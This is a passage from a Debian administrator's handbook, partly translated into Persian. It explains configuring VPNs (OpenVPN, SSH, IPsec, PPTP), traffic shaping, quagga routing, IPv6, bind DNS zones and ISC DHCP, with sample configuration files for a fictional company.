If the VPN should not be started automatically on boot, set the AUTOSTART directive to none in the /etc/default/openvpn file. Starting or stopping a given VPN connection is always possible with the commands systemctl start openvpn@name and systemctl stop openvpn@name (where the connection name matches the one defined in /etc/openvpn/name.conf).

بسته network-manager-openvpn-gnome شامل یک افزونه برای مدیر شبکه است ( قسمت 8.2.5, “پیکربندی خودکار شبکه برای کاربران” را مشاهده کنید) که امکان مدیریت شبکه‌های خصوصی مجازی را فراهم می‌کند. این ابزار به هر کاربر امکان پیکربندی OpenVPN را از یک رابط گرافیکی می‌دهد.

10.3.2. VPN به همراه SSH

There are actually two ways of creating a virtual private network with SSH. The historic one involves establishing a PPP layer over the SSH link. This method is described in a HOWTO document:

→ https://www.tldp.org/HOWTO/ppp-ssh/

روش دوم جدیدتر است و با انتشار نسخه ۴.۳ از OpenSSH معرفی شد؛ اکنون برای OpenSSH امکان ایجاد رابط‌های مجازی شبکه (tun*) در هر دو سمت ارتباط SSH وجود دارد و این رابط‌های مجازی می‌توانند همانند رابط‌های فیزیکی پیکربندی گردند. سیستم تونل‌‌کشی ابتدا باید با تنظیم PermitTunnel به “yes” در فایل پیکربندی سرور SSH (/etc/ssh/sshd_config) فعال گردد. هنگام برقراری ارتباط SSH، ایجاد یک تونل باید به صورت اختصاصی و با گزینه -w any:any بیان شود (any می‌تواند با شماره دستگاه tun مورد نظر جایگزین گردد). این امر نیازمند داشتن دسترسی مدیریتی برای کاربر در هر دو سمت است، همان‌طور که برای ایجاد دستگاه شبکه مورد نیاز است (به عبارت دیگر، ارتباط باید از طریق root برقرار شود).

هر دو روش ایجاد یک شبکه خصوصی مجازی از طریق SSH بسیار سرراست هستند. اگرچه، VPN که فراهم می‌کنند عملکرد بهینه‌ای نخواهد داشت؛ به طور مشخص، به خوبی نمی‌تواند ترافیک بالا را مدیریت کند.

The explanation is that when a TCP/IP stack is encapsulated within a TCP/IP connection (for SSH), the TCP protocol is used twice, once for the SSH connection and once within the tunnel. This leads to problems, especially due to the way TCP adapts to network conditions by altering timeout delays. The following site describes the problem in more detail:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

VPNs over SSH should therefore be restricted to one-off tunnels with no performance constraints.

10.3.3. IPsec

IPsec, despite being the standard in IP VPNs, is rather more involved in its implementation. The IPsec engine itself is integrated in the Linux kernel; the required user-space parts, the control and configuration tools, are provided by the libreswan package or the strongswan package. Here we describe briefly the libreswan option.

First, we install the libreswan package. In concrete terms, each host's /etc/ipsec.conf contains the parameters for IPsec tunnels (or Security Associations, in the IPsec terminology) that the host is concerned with. There are many configuration examples in /usr/share/doc/libreswan/, but Libreswan's online documentation has more examples with explanations:

→ https://libreswan.org/wiki/

The IPsec service can be controlled with systemctl; for example, systemctl start ipsec will start the IPsec service.

علی رغم وضعیت IPsec به عنوان یک راه حل جامع، پیچیدگی تنظیم آن در واقع منجر به کاهش استفاده‌اش می‌گردد. راه‌حل‌های مبتنی بر OpenVPN زمانی که تعداد تونل‌ها زیاد یا پویا نباشند ترجیخ داده می‌شوند.

احتیاط IPsec و NAT

NATکردن فایروال و IPsec به خوبی با یکدیگر کار نمی‌کنند: از آنجا که IPsec بسته‌ها را امضا کرده، هر تغییری احتمالی روی این بسته‌ها توسط فایروال منجر به باطل‌شدن امضا می‌گردد و بسته‌ها در مقصد تحویل داده نمی‌شوند. بسیاری از پیاده‌سازی‌های IPsec اکنون با شامل شدن تکنیک NAT-T (به معنی NAT Traversal) با قراردادن بسته IPsec در یک بسته استاندارد UDP به این مشکل رسیدگی می‌کنند.

امنیت IPsec و فایروال‌ها

حالت استاندارد عملیات IPsec شامل تبادل داده روی درگاه ۵۰۰ UDP برای تبادل کلید (یا درگاه ۴۵۰۰ UDP در صورت استفاده از NAT-T) است. علاوه بر این، بسته‌های IPsec از دو پروتکل اختصاصی IP استفاده می‌کنند که فایروال باید اجازه عبور آن‌ها را صادر کند؛ دریافت این بسته‌ها بر اساس شماره پروتکل آن‌ها است یعنی ۵۰ برای ESP و ۵۱ برای AH.

10.3.4. PPTP

PPTP که مخفف Point-to-Point Tunneling Protocol است از دو کانال ارتباطی استفاده می‌کند، یکی برای کنترل داده و دیگری برای تبادل آن؛ کانال دوم از پروتکل GRE یا Generic Routing Encapsulation استفاده می‌کند. سپس یک پیوند استاندارد PPP از طریق کانال اول صورت می‌گیرد.

10.3.4.1. پیکربندی کلاینت

بسته pptp-linux شامل یک کلاینت PPTP است که به راحتی برای کلاینت تنظیم می‌گردد. دستورالعمل پیش رو بر اساس مستندات رسمی آن الهام گرفته شده است:

→ http://pptpclient.sourceforge.net/howto-debian.phtml

مدیرسیستم‌های فالکوت فایل‌های متعددی ایجاد کرده‌اند: /etc/ppp/options.pptp، /etc/ppp/peers/falcot، /etc/ppp/ip-up.d/falcot و /etc/ppp/ip-down.d/falcot.

مثال 10.2. فایل /etc/ppp/options.pptp

# PPP options used for a PPTP connection lock noauth nobsdcomp nodeflate

مثال 10.3. فایل /etc/ppp/peers/falcot

# vpn.falcot.com is the PPTP server pty "pptp vpn.falcot.com --nolaunchpppd" # the connection will identify as the "vpn" user user vpn remotename pptp # encryption is needed require-mppe-128 file /etc/ppp/options.pptp ipparam falcot

مثال 10.4. فایل /etc/ppp/ip-up.d/falcot

# Create the route to the Falcot network if [ "$6" = "falcot" ]; then # 192.168.0.0/24 is the (remote) Falcot network ip route add 192.168.0.0/24 dev $1 fi

مثال 10.5. فایل /etc/ppp/ip-down.d/falcot

# Delete the route to the Falcot network if [ "$6" = "falcot" ]; then # 192.168.0.0/24 is the (remote) Falcot network ip route del 192.168.0.0/24 dev $1 fi

امنیت MPPE

امن‌کردن PPTP مستلزم استفاده از ویژگی MPPE یا Microsoft Point-to-Point Encryption است، که در کرنل‌های رسمی دبیان به عنوان یک ماژول موجود است.

10.3.4.2. پیکربندی سرور

احتیاط PPTP و فایروال‌ها

فایروال‌های میانی باید طوری پیکربندی شوند که اجازه عبور بسته‌های IP با استفاده از پروتکل ۴۷ GRE را داشته باشند. علاوه بر این، درگاه ۱۷۲۳ از سرور PPTP به منظور برقراری کانال ارتباطی باید باز باشند.

pptpd سرور PPTP برای لینوکس است. فایل اصلی پیکربندی آن، /etc/pptpd.conf، نیاز به تغییرات اندکی دارد: localip (نشانی محلی) و remoteip (نشانی راه‌دور). در نمونه زیر، سرور PPTP همیشه از نشانی 192.168.0.199 استفاده می‌کند و کلاینت‌ها نیز نشانی خود را بین بازه 192.168.0.200 تا 192.168.0.250 دریافت می‌کنند.

مثال 10.6. فایل /etc/pptpd.conf

# TAG: speed # # Specifies the speed for the PPP daemon to talk at. # speed 115200 # TAG: option # # Specifies the location of the PPP options file. # By default PPP looks in '/etc/ppp/options' # option /etc/ppp/pptpd-options # TAG: debug # # Turns on (more) debugging to syslog # # debug # TAG: localip # TAG: remoteip # # Specifies the local and remote IP address ranges. # # You can specify single IP addresses separated by commas or you can # specify ranges, or both. For example: # # 192.168.0.234,192.168.0.245-249,192.168.0.254 # # IMPORTANT RESTRICTIONS: # # 1. No spaces are permitted between commas or within addresses. # # 2. If you give more IP addresses than MAX_CONNECTIONS, it will # start at the beginning of the list and go until it gets # MAX_CONNECTIONS IPs. Others will be ignored. # # 3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238, # you must type 234-238 if you mean this. # # 4. If you give a single localIP, that's ok - all local IPs will # be set to the given one. You MUST still give at least one remote # IP for each simultaneous client. # #localip 192.168.0.234-238,192.168.0.245 #remoteip 192.168.1.234-238,192.168.1.245 #localip 10.0.1.1 #remoteip 10.0.1.2-100 localip 192.168.0.199 remoteip 192.168.0.200-250

پیکربندی PPP مورد استفاده سرور PPTP نیازمند برخی تغییرات در /etc/ppp/pptpd-options است. پارامترهای مهم عبارتند از نام سرور (pptp)، نام دامنه (بشمزخف.زخپ) و نشانی‌های IP برای سرورهای DNS و WINS.

مثال 10.7. فایل /etc/ppp/pptpd-options

## turn pppd syslog debugging on #debug ## change 'servername' to whatever you specify as your server name in chap-secrets name pptp ## change the domainname to your local domain domain falcot.com ## these are reasonable defaults for WinXXXX clients ## for the security related settings # The Debian pppd package now supports both MSCHAP and MPPE, so enable them # here. Please note that the kernel support for MPPE must also be present! auth require-chap require-mschap require-mschap-v2 require-mppe-128 ## Fill in your addresses ms-dns 192.168.0.1 ms-wins 192.168.0.1 ## Fill in your netmask netmask 255.255.255.0 ## some defaults nodefaultroute proxyarp lock

آخرین گام ثبت کاربر vpn و گذرواژه مربوط به آن در فایل /etc/ppp/chap-secrets است. بر خلاف مواقعی که کاراکتر ستاره (*) کار می‌کرد، نام سرور مشخصا باید در این قسمت درج شود. علاوه بر این، کلاینت‌های PPTP در ویندوز خود را به صورت DOMAIN\\USER معرفی می‌کنند به جای اینکه تنها نام کاربری را نشان دهند. به همین دلیل است که فایل به کاربر FALCOT\\vpn اشاره کرده است. همچنین امکان اختصاص نشانی‌های IP انفرادی برای هر کاربر وجود دارد؛ یک کاراکتر ستاره در این قسمت به معنای استفاده از نشانی‌های پویا است.

مثال 10.8. فایل /etc/ppp/chap-secrets

# Secrets for authentication using CHAP # client server secret IP addresses vpn pptp f@Lc3au * FALCOT\\vpn pptp f@Lc3au *

امنیت آسیب‌پذیری‌های PPTP

اولین پیاده‌سازی PPTP از مایکروسافت باعث انتقادات بسیاری شد چرا که آسیب‌پذیری‌های امنیتی زیادی را شامل می‌شد؛ اکثر آن‌ها با انتشارهای بعدی برطرف شدند. پیکربندی که در این قسمت توضیح داده شد از آخرین نسخه این پروتکل استفاده می‌کند. آگاه باشید که حذف کردن برخی گزینه‌ها (مانند require-mppe-128 و require-mschap-v2) به آسیب‌پذیری مجدد سروس منجر می‌شوند.

10.4. کیفیت سرویس

10.4.1. اصول و مکانیزم

عبارت QoS یا Quality of Service به برخی تکنیک‌ها اشاره می‌کند که کیفیت استفاده از یک سرویس را تضمین می‌کنند. محبوب‌ترین این تکنیک‌ها شامل طبقه‌بندی ترافیک شبکه به دسته‌های مختلف و تفاوت قائل‌شدن بین مدیریت هر دسته است. کارکرد اصلی مفهوم تفاوت‌ قائل‌شدن بین سرویس‌ها در traffic shaping است، که نرخ تبادل داده را برای برخی سرویس‌ها یا میزبان‌ها به منظور اشباع‌نشدن پهنای باند محدود می‌سازد. شکل‌دهی به ترافیک یک روش موثر در ترافیک TCP است، چرا که این پروتکل به صورت خودکار با پهنای باند موجود سازگار خواهد شد.

CULTURE Net neutrality and QoS

Network neutrality is achieved when Internet service providers treat all Internet communications equally, that is, without any access limitation based on content, user, website, destination address, etc.

Quality of service can be implemented in a net neutral Internet, but only if Internet service providers can't charge a special fee for a higher-quality service.

همچنین امکان تغییر اولویت در ترافیک نیز وجود دارد، که به اولویت‌بندی بسته‌های مرتبط با سرویس‌های تعاملی (مانند ssh یا telnet) یا سرویس‌هایی که با تنها با حجم کوچکی از داده سر و کار دارند، می‌پردازد.

کرنل‌های دبیان شامل قابلیت‌های مورد نیاز QoS با همراه ماژول‌های آن هستند. تعداد این ماژول‌ها زیاد است و هر یک سرویس مختلفی را ارائه می‌دهد، به خصوص به شیوه زمان‌بندی برای صف بسته‌های IP؛ بازه گسترده زمان‌بندی موجود از تمام بازه ممکن نیازمندی‌ها فراتر می‌رود.

CULTURE LARTC — Linux Advanced Routing & Traffic Control

The Linux Advanced Routing & Traffic Control HOWTO is the reference document covering everything there is to know about network quality of service.

→ https://www.lartc.org/howto/

10.4.2. پیکربندی و پیاده‌سازی

پارامترهای QoS از طریق دستور tc تنظیم می‌شوند (که توسط بسته iproute فراهم شده است). از آنجا که شامل رابط به نسبت پیچیده‌ای است، استفاده از یک ابزار سطح-بالاتر توصیه می‌شود.

10.4.2.1. کاهش‌ تاخیر: wondershaper

هدف اصلی از wondershaper (در بسته‌ای مشابه همین نام) به حداقل رساندن تاخیر مستقل از بار موجود در شبکه است. اینکار با محدودکردن ترافیک کل به مقداری که کمی از مقدار اشباع شبکه کمتر باشد صورت می‌گیرد.

زمانی که رابط شبکه پیکربندی شده باشد، تنظیم این محدودیت ترافیک با اجرای دستور wondershaper interface download_rate upload_rate صورت می‌گیرد. برای نمونه، رابط می‌تواند eth0 یا ppp0 باشد و هر دو نرخ تبادل داده به صورت کلیوبیت بر ثانیه بیان می‌شوند. دستور wondershaper remove interface محدودیت ترافیک روی رابط شبکه مشخص شده را حذف می‌کند.

برای یک ارتباط Ethernet، بهتر است این اسکریپت پس از پیکربندی آن فراخوانی شود. اینکار با استفاده از عبارت‌های up و down در فایل /etc/network/interfaces که امکان فراخوانی دستورات دیگر پس از بالا آمدن رابط و قبل از قطع شدن آن است را، فراهم می‌آورد. برای نمونه:

مثال 10.9. تغییرات در فایل /etc/network/interfaces

iface eth0 inet dhcp up /sbin/wondershaper eth0 500 100 down /sbin/wondershaper remove eth0

در مورد PPP، ایجاد اسکریپتی که wondershaper را در فایل /etc/ppp/ip-up.d/ فراخوانی کند، منجر به فعال‌سازی محدودیت ترافیک پس از برقراری ارتباط می‌گردد.

مطالعه بیشتر پیکربندی بهینه

فایل /usr/share/doc/wondershaper/README.Debian.gz شیوه پیکربندی توصیه شده توسط مدیر بسته را توضیح می‌دهد. به طور خاص، پیشنهاد می‌کند که نرخ دانلود و آپلود با مقادیر حقیقی آن‌ها همخوانی داشته باشد.

10.4.2.2. پیکربندی استاندارد

Barring a specific QoS configuration, the Linux kernel uses the pfifo_fast queue scheduler, which provides a few interesting features by itself. The priority of each processed IP packet is based on the DSCP field (Differentiated of Services Code Point) of this packet; modifying this 6-bit field is enough to take advantage of the scheduling features. Refer to https://en.wikipedia.org/wiki/Differentiated_services#Class_Selector for more information.

The DSCP field can be set by applications that generate IP packets, or modified on the fly by netfilter. The following rules are sufficient to increase responsiveness for a server's SSH service, note that the DSCP field must be set in hexadecimal:

nft add table ip mangle nft add rule ip mangle PREROUTING tcp sport 22 counter ip dscp set 0x04 nft add rule ip mangle PREROUTING tcp dport 22 counter ip dscp set 0x04

10.5. مسیریابی پویا

ابزار مرجع برای کار با مسیریابی پویا quagga است، از بسته‌ای با نام مشابه؛ سابق بر این از zebra استفاده می‌شد تا زمانی که دیگر توسعه آن ادامه نیافت. اگرچه، quagga برای سازگاری با برنامه‌های دیگر از اصول نامگذاری zebra که در ادامه می‌آید تبعیت می‌کند.

بازگشت به مقدمات مسیریابی پویا

مسیریابی پویا به مسیریاب‌ها اجازه می‌دهد که در کوچکترین بازه زمانی مسیر بسته‌های IP را تغییر دهند. هر پروتکل نیز شیوه خود را برای اینکار دارد (کوتاه‌ترین مسیر، استفاده از مسیرهای پیشنهادی و از این قبیل).

In the Linux kernel, a route links a network device to a set of machines that can be reached through this device. The ip command, when route is used as the first argument, defines new routes and displays existing ones. The route command was used for that purpose, but it is deprecated in favor of ip.

Quagga is a set of daemons cooperating to define the routing tables to be used by the Linux kernel; each routing protocol (most notably BGP, OSPF and RIP) provides its own daemon. The zebra daemon collects information from other daemons and handles static routing tables accordingly. The other daemons are known as bgpd, ospfd, ospf6d, ripd, ripngd, and isisd.

Daemons are enabled by creating the /etc/quagga/daemon.conf config file, daemon being the name of the daemon to use; this file must belong to the quagga user and group in order for the /etc/init.d/zebra script to invoke the daemon. The package quagga-core provides configuration examples under /usr/share/doc/quagga-core/examples/.

The configuration of each of these daemons requires knowledge of the routing protocol in question. These protocols cannot be described in detail here, but quagga-doc provides ample explanation in the form of an info file. The same contents may be more easily browsed as HTML on the Quagga website:

→ http://www.nongnu.org/quagga/docs/docs-info.html

علاوه بر این، شیوه دستوری آن بسیار نزدیک به پیکربندی استاندارد مسیریاب‌ها است و مدیریان شبکه به راحتی می‌توانند با quagga ارتباط برقرار کنند.

در عمل OSPF، BGP یا RIP؟

OSPF (Open Shortest Path First) is generally the best protocol to use for dynamic routing on private networks, but BGP (Border Gateway Protocol) is more common for Internet-wide routing. RIP (Routing Information Protocol) is rather ancient, and hardly used anymore.

10.6. IPv6

IPv6، ادامه دهنده راه IPv4، نسخه جدیدی از پروتکل IP است که برای حل مشکلات قدیمی آن طراحی شده است، به خصوص محدودیت در تعداد نشانی‌های IP موجود. این پروتکل با لایه شبکه سر و کار دارد؛ هدف آن فراهم کردن راهی برای نشانی‌دهی به رایانه‌ها است به صورتی که داده را به مقصد خود هدایت و در صورت نیاز گسستگی داده را مدیریت کنند (به عبارت دیگر، کوجک‌کردن بسته‌ها متناسب با اندازه شبکه به صورتی که در مقصد به همان ترتیب ارسالی، دریافت گردند).

کرنل‌های دبیان از IPv6 در هسته خود بهره می‌برند (به استثنا معماری‌هایی که آن را به صورت یک ماژول با نام ipv6 قرار داده‌اند). ابزار پایه‌ای مانند ping و traceroute معادل IPv6 خود را با نام‌های ping6 و traceroute6 دارا هستند که این ابزارها در بسته‌های iputils-ping و iputils-tracepath قرار گرفته‌اند.

شبکه IPv6 نیز مشابه با IPv4 در فایل /etc/network/interfaces پیکربندی می‌شود. اما اگر می‌خواهید این شبکه از خارج نیز قابل دسترس باشد به مسیریابی نیاز دارید که توانایی مدیریت بسته‌های IPv6 را دارا باشد.

مثال 10.10. نمونه‌ای از پیکربندی IPv6

iface eth0 inet6 static address 2001:db8:1234:5::1:1/64 # Disabling auto-configuration # autoconf 0 # The router is auto-configured and has no fixed address # (accept_ra 1). If it had: # gateway 2001:db8:1234:5::1

زیرشبکه‌های IPv6 معمولا netmask برابر با ۶۴ بیت دارند. این به معنی وجود 2⁶⁴ نشانی منحصربفرد در زیرشبکه است. Stateless Address Autoconfiguration یا SLAAC امکان انتخاب یک نشانی بر اساس نشانی MAC رابط شبکه داخلی را پیدا می‌کند. به صورت پیشفرض، اگر SLAAC روی شبکه شما و IPv6 روی رایانه شما فعال باشند، کرنل به صورت خودکار مسیریاب‌های IPv6 را پیدا کرده و رابط‌های شبکه را مطابق با آن پیکربندی می‌کند.

این عملکرد ممکن است پیامدهای نقض حریم خصوصی داشته باشد. اگر به صورت مداوم بین شبکه‌ها سوئیچ می‌کنید، مانند یک لپ‌تاپ، شاید نخواهید که نشانی MAC شما بخشی از نشانی IPv6 باشد. اینکار به تشخیص دستگاه مشابه در همان شبکه کمک می‌کند. راه حل این مشکل افزونه‌های حریم‌خصوصی IPv6 هستند (که دبیان به صورت پیشفرض فعال دارد اگر ارتباط IPv6 طی فرآیند نصب اولیه تشخیص داده شود) که به صورت خودکار یک عدد تصادفی را به رابط شبکه اختصاص می‌دهند، آن‌ها را به صورت مداوم تغییر داده و برای ارتباطات ارسالی از آن‌ها استفاده می‌کنند. ارتباطات دریافتی نیز می‌توانند از نشانی تولید شده توسط SLACC استفاده کنند. نمونه پیش رو، برای استفاده در /etc/network/interfaces، این افزونه‌های حریم‌خصوصی را فعال می‌کند.

مثال 10.11. افزونه‌های حریم‌خصوصی IPv6

iface eth0 inet6 auto # Prefer the randomly assigned addresses for outgoing connections. privext 2

نکته برنامه‌هایی که با IPv6 ساخته می‌شوند

Many pieces of software need to be adapted to handle IPv6. Most of the packages in Debian have been adapted already, but not all. If your favorite package does not work with IPv6 yet, you can ask for help on the debian-ipv6 mailing-list. They might know about an IPv6-aware replacement and could file a bug to get the issue properly tracked.

→ https://lists.debian.org/debian-ipv6/

IPv6 connections can be restricted, in the same fashion as for IPv4. nft can be used to create firewall rules for IPv4 and IPv6 (see قسمت 14.2.3, “Syntax of nft” ).

10.6.1. تونل‌زنی

احتیاط تونل‌زنی IPv6 و فایروال‌ها

تونل‌زنی IPv6 برفراز IPv4 (بر خلاف IPv6 اصلی) نیازمند قبول ترافیک دریافتی برای فایروال است که از پروتکل شماره ۴۱ مربوط به IPv4 استفاده می‌کند.

If a native IPv6 connection is not available, the fallback method is to use a tunnel over IPv4. Hurricane Electric is one (free) provider of such tunnels:

→ https://tunnelbroker.net

To use a Hurricane Electric tunnel, you need to register an account, login, select a free tunnel and edit the file /etc/network/interfaces with the generated code.

You can install and configure the radvd daemon (from the similarly-named package) if you want to use the configured computer as a router for a local network. This IPv6 configuration daemon has a role similar to dhcpd in the IPv4 world.

The /etc/radvd.conf configuration file must then be created (see /usr/share/doc/radvd/examples/simple-radvd.conf as a starting point). In our case, the only required change is the prefix, which needs to be replaced with the one provided by Hurricane Electric; it can be found in the output of the ip a command, in the block concerning the he-ipv6 interface.

Then run systemctl start radvd. The IPv6 network should now work.

10.7. سرورهای نام دامنه (DNS)

The Domain Name Service (DNS) is a fundamental component of the Internet: it maps host names to IP addresses (and vice-versa), which allows the use of www.debian.org instead of 149.20.4.15 or 2001:4f8:1:c::15.

رکوردهای DNS به صورت منطقه یا zone طبقه‌بندی می‌شوند؛ هر منطقه شامل یک دامنه (یا زیردامنه) یا یک نشانی IP (از آنجا که این نشانی‌ها به صورت متوالی تخصیص داده می‌شوند) است. یک سرور اصلی قابلیت مدیریت محتوای یک منطقه را دارد؛ سرورهای فرعی، که معمولا روی رایانه‌های جداگانه قرار می‌گیرند، رونوشت‌های تازه‌ای از منطقه اصلی را فراهم می‌آورند.

Each zone can contain records of various kinds (Resource Records), these are some of the most common:

A: نشانی IPv4.

CNAME: نام مستعار (canonical name).

MX: mail exchange، یک سرور ایمیل. این اطلاعات توسط سایر سرورهای ایمیل برای یافتن مکان مورد نیاز جهت ارسال نشانی‌های ایمیل است. هر رکورد MX یک اولویت دارد. سرور اولویت-بالا (با کمترین عدد) ابتدا استفاده می‌شود (قسمت بارگشت به مقدمات SMTP را مشاهده کنید)؛ در صورت عدم برقراری ارتباط با این سرور، سایر سرورها بر اساس اولویت خود مورد استفاده قرار می‌گیرند.

PTR: نگاشت یک نشانی IP به یک منطقه. چنین رکوردی در یک منطقه “DNS معکوس” نامگذاری شده با محدوده نشانی IP قرار می‌گیرد. برای نمونه، 1.168.192.in-addr.arpa منطقه شامل نگاشت برعکس برای تمام نشانی‌های موجود در بازه 192.168.1.0/24 است.

AAAA: نشانی‌های IPv6.

NS: یک نام را به یک سرور نام نگاشت می‌کند. هر دامنه حداقل باید یک رکورد NS داشته باشد. این رکوردها به سرور DNS اشاره می‌کنند که می‌توانند به درخواست‌های این دامنه پاسخ دهند؛ معمولا به سرورهای اصلی و فرعی این دامنه اشاره دارند. این رکوردها همچنین اجازه DNS Delegation را می‌دهند؛ برای نمونه، منطقه falcot.com می‌تواند شامل یک رکورد NS برای falcot.com باشد، که یعنی منطقه internal.falcot.com توسط سرور دیگری مدیریت می‌شود. البته، این سرور باید یک منطقه internal.falcot.com را تعریف کند.

10.7.1. DNS software

Bind، سرور نام مرجع، توسط ISC (Internet Software Consortium) توسعه یافته و مدیریت می‌شود. در دبیان توسط بسته bind9 ارائه می‌گردد. نسخه ۹ شامل دو تغییر بزرگ در مقایسه با نسخه‌های پیشین است. ابتدا، سرور DNS اکنون می‌تواند تحت فرمان یک کاربر عادی نیز کار کند، به منظور اینکه در زمان بروز آسیب‌پذیری امنیتی مجوزهای اصلی آن به فرد مهاجم منتقل نشود (طوری که در نسخه‌های ۸ دیده می‌شد).

علاوه بر این، Bind از استاندارد DNSSEC برای امضا (و احراز هویت) رکوردهای DNS پشتیبانی می‌کند که حین حملات مرد میانی (MITM) امکان مسدودسازی داده‌های جعلی را فراهم می‌سازد.

فرهنگ DNSSEC

The DNSSEC norm is quite complex; this partly explains why it is not in widespread usage yet (even if it perfectly coexists with DNS servers unaware of DNSSEC). To understand all the ins and outs, you should check the following article.

→ https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.7.2. Configuring bind

فایل‌های پیکربندی bind، صرف‌نظر از نسخه آن، ساختار مشابهی دارند.

مدیرسیستم‌های فالکوت یک منطقه اصلی به نام falcot.com برای ذخیره اطلاعات مربوط به این دامنه و یک منطقه به نام 168.192.in-addr.arpa برای نگاشت معکوس نشانی‌های IP در شبکه‌های محلی تعریف کرده‌اند.

احتیاط نامگذاری مناطق معکوس

مناطق معکوس نام ویژه‌ای دارند. منطقه‌ای که شبکه 192.168.0.0/16 را پوشش می‌دهد باید به صورت 168.192.in-addr.arpa نامگذاری گردد: قسمت نشانی‌های IP معکوس شده و به همراه پسوند in-addr.arpa قرار می‌گیرد.

برای شبکه‌های IPv6، پسوند عبارت است از ip6.arpa و قسمت نشانی IP که به صورت معکوس در آمده شامل کاراکترهای هگزادسیمال کامل برای نمایش نشانی IP است. بنابراین، شبکه 2001:0bc8:31a0::/48 می‌تواند از منطقه‌ای با نام 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa استفاده کند.

نکته آزمایش‌کردن سرور DNS

دستور host (در بسته bind9-host) از یک سرور DNS پرس و جو می‌کند و می‌تواند برای آزمایش پیکربندی سرور استفاده شود. برای نمونه، host machine.falcot.com localhost به بررسی پاسخ سرور محلی از machine.falcot.com می‌پردازد. host ipaddress localhost عکس این عمل را انجام می‌دهد.

گزیده پیکربندی پیش رو، که از فایل‌های شرکت فالکوت برداشت شده، می‌تواند به عنوان نقطه آغازی برای پیکربندی سرور DNS استفاده شود:

مثال 10.12. گزیده‌ای از /etc/bind/named.conf.local

zone "falcot.com" { type master; file "/etc/bind/db.falcot.com"; allow-query { any; }; allow-transfer { 195.20.105.149/32 ; // ns0.xname.org 193.23.158.13/32 ; // ns1.xname.org }; }; zone "internal.falcot.com" { type master; file "/etc/bind/db.internal.falcot.com"; allow-query { 192.168.0.0/16; }; }; zone "168.192.in-addr.arpa" { type master; file "/etc/bind/db.192.168"; allow-query { 192.168.0.0/16; }; };

مثال 10.13. گزیده‌ای از /etc/bind/db.falcot.com

; falcot.com Zone ; admin.falcot.com. => zone contact: admin@falcot.com $TTL 604800 @ IN SOA falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; ; The @ refers to the zone name ("falcot.com" here) ; or to $ORIGIN if that directive has been used ; @ IN NS ns @ IN NS ns0.xname.org. internal IN NS 192.168.0.2 @ IN A 212.94.201.10 @ IN MX 5 mail @ IN MX 10 mail2 ns IN A 212.94.201.10 mail IN A 212.94.201.10 mail2 IN A 212.94.201.11 www IN A 212.94.201.11 dns IN CNAME ns

احتیاط شیوه نگارش یک نام

شیوه نگارش نام رایانه‌ها از قواعد ثابتی پیروی می‌کند. برای نمونه، machine به معنی machine.domain است. اگر نام دامنه نباید به نام افزوده شود، نام مورد نظر باید به صورت machine. (با یک نقطه در پسوند) نوشته شود. مشخص کردن یک نام DNS خارج از محدوده دامنه نیازمند شیوه نگارشی مشابه با machine.otherdomain.com. است (با یک نقطه در پسوند).

مثال 10.14. گزیده‌ای از /etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16 ; admin.falcot.com. => zone contact: admin@falcot.com $TTL 604800 @ IN SOA ns.internal.falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL IN NS ns.internal.falcot.com. ; 192.168.0.1 -> arrakis 1.0 IN PTR arrakis.internal.falcot.com. ; 192.168.0.2 -> neptune 2.0 IN PTR neptune.internal.falcot.com. ; 192.168.3.1 -> pau 1.3 IN PTR pau.internal.falcot.com.

10.8. DHCP

DHCP (مخفف Dynamic Host Configuration Protocol) پروتکلی است که رایانه از طریق آن اقدام به دریافت خودکار پیکربندی شبکه در زمان راه‌اندازی اولیه می‌کند. اینکار به فرآیند مدیریت مرکزی پیکربندی شبکه و اطمینان از اینکه تمام رایانه‌های رومیزی تنظیمات مشابهی دریافت می‌کنند کمک می‌کند.

یک سرور DHCP پارامترهای بسیاری را درباره شبکه فراهم می‌کند. متداول‌ترین آن‌ها نشانی IP و شبکه‌ای است که رایانه به آن تغلق دارد، اما می‌تواند اطلاعات دیگری نیز ارائه دهد، مانند سرورهای DNS و WINS و NTP و از این قبیل.

کنسرسیوم نرم‌افزار اینترنت (که در توسعه bind نیز مشارکت دارد) توسعه‌دهنده اصلی سرور DHCP است. بسته دبیان آن نیز isc-dhcp-server است.

10.8.1. پیکربندی

The first elements that need to be edited in the DHCP server configuration files (/etc/dhcp/dhcpd.conf, and /etc/dhcp/dhcpd6.conf for IPv6) are the domain name and the DNS servers. If this server is alone on the local network (as defined by the broadcast propagation), the authoritative directive must also be enabled (or uncommented). One also needs to create a subnet section describing the local network and the configuration information to be provided. The following example fits a 192.168.0.0/24 local network with a router at 192.168.0.1 serving as the gateway. Available IP addresses are in the range 192.168.0.128 to 192.168.0.254.

مثال 10.15. گزیده‌ای از /etc/dhcp/dhcpd.conf

# # Sample configuration file for ISC dhcpd for Debian # # The ddns-updates-style parameter controls whether or not the server will # attempt to do a DNS update when a lease is confirmed. We default to the # behavior of the version 2 packages ('none', since DHCP v2 didn't # have support for DDNS.) ddns-update-style interim; # option definitions common to all supported networks... option domain-name "internal.falcot.com"; option domain-name-servers ns.internal.falcot.com; default-lease-time 600; max-lease-time 7200; # If this DHCP server is the official DHCP server for the local # network, the authoritative directive should be uncommented. authoritative; # Use this to send dhcp log messages to a different log file (you also # have to hack syslog.conf to complete the redirection). log-facility local7; # My subnet subnet 192.168.0.0 netmask 255.255.255.0 { option routers 192.168.0.1; option broadcast-address 192.168.0.255; range 192.168.0.128 192.168.0.254; ddns-domainname "internal.falcot.com"; }

10.8.2. DHCP و DNS

یک ویژگی جالب امکان ثبت خودکار کلاینت‌های DHCP در منطقه DNS است، به طوری که هر رایانه یک نام مشخص دریافت کند (بجای چیزی غیرشخصی مانند machine-192-168-0-131.internal.falcot.com). استفاده از این ویژگی شامل پیکربندی سرور DNS برای پذیرش بروزرسانی منطقه internal.falcot.com از سرور DHCP و پیکربندی دیگری برای ارسال بروزرسانی هر قسمت می‌باشد.

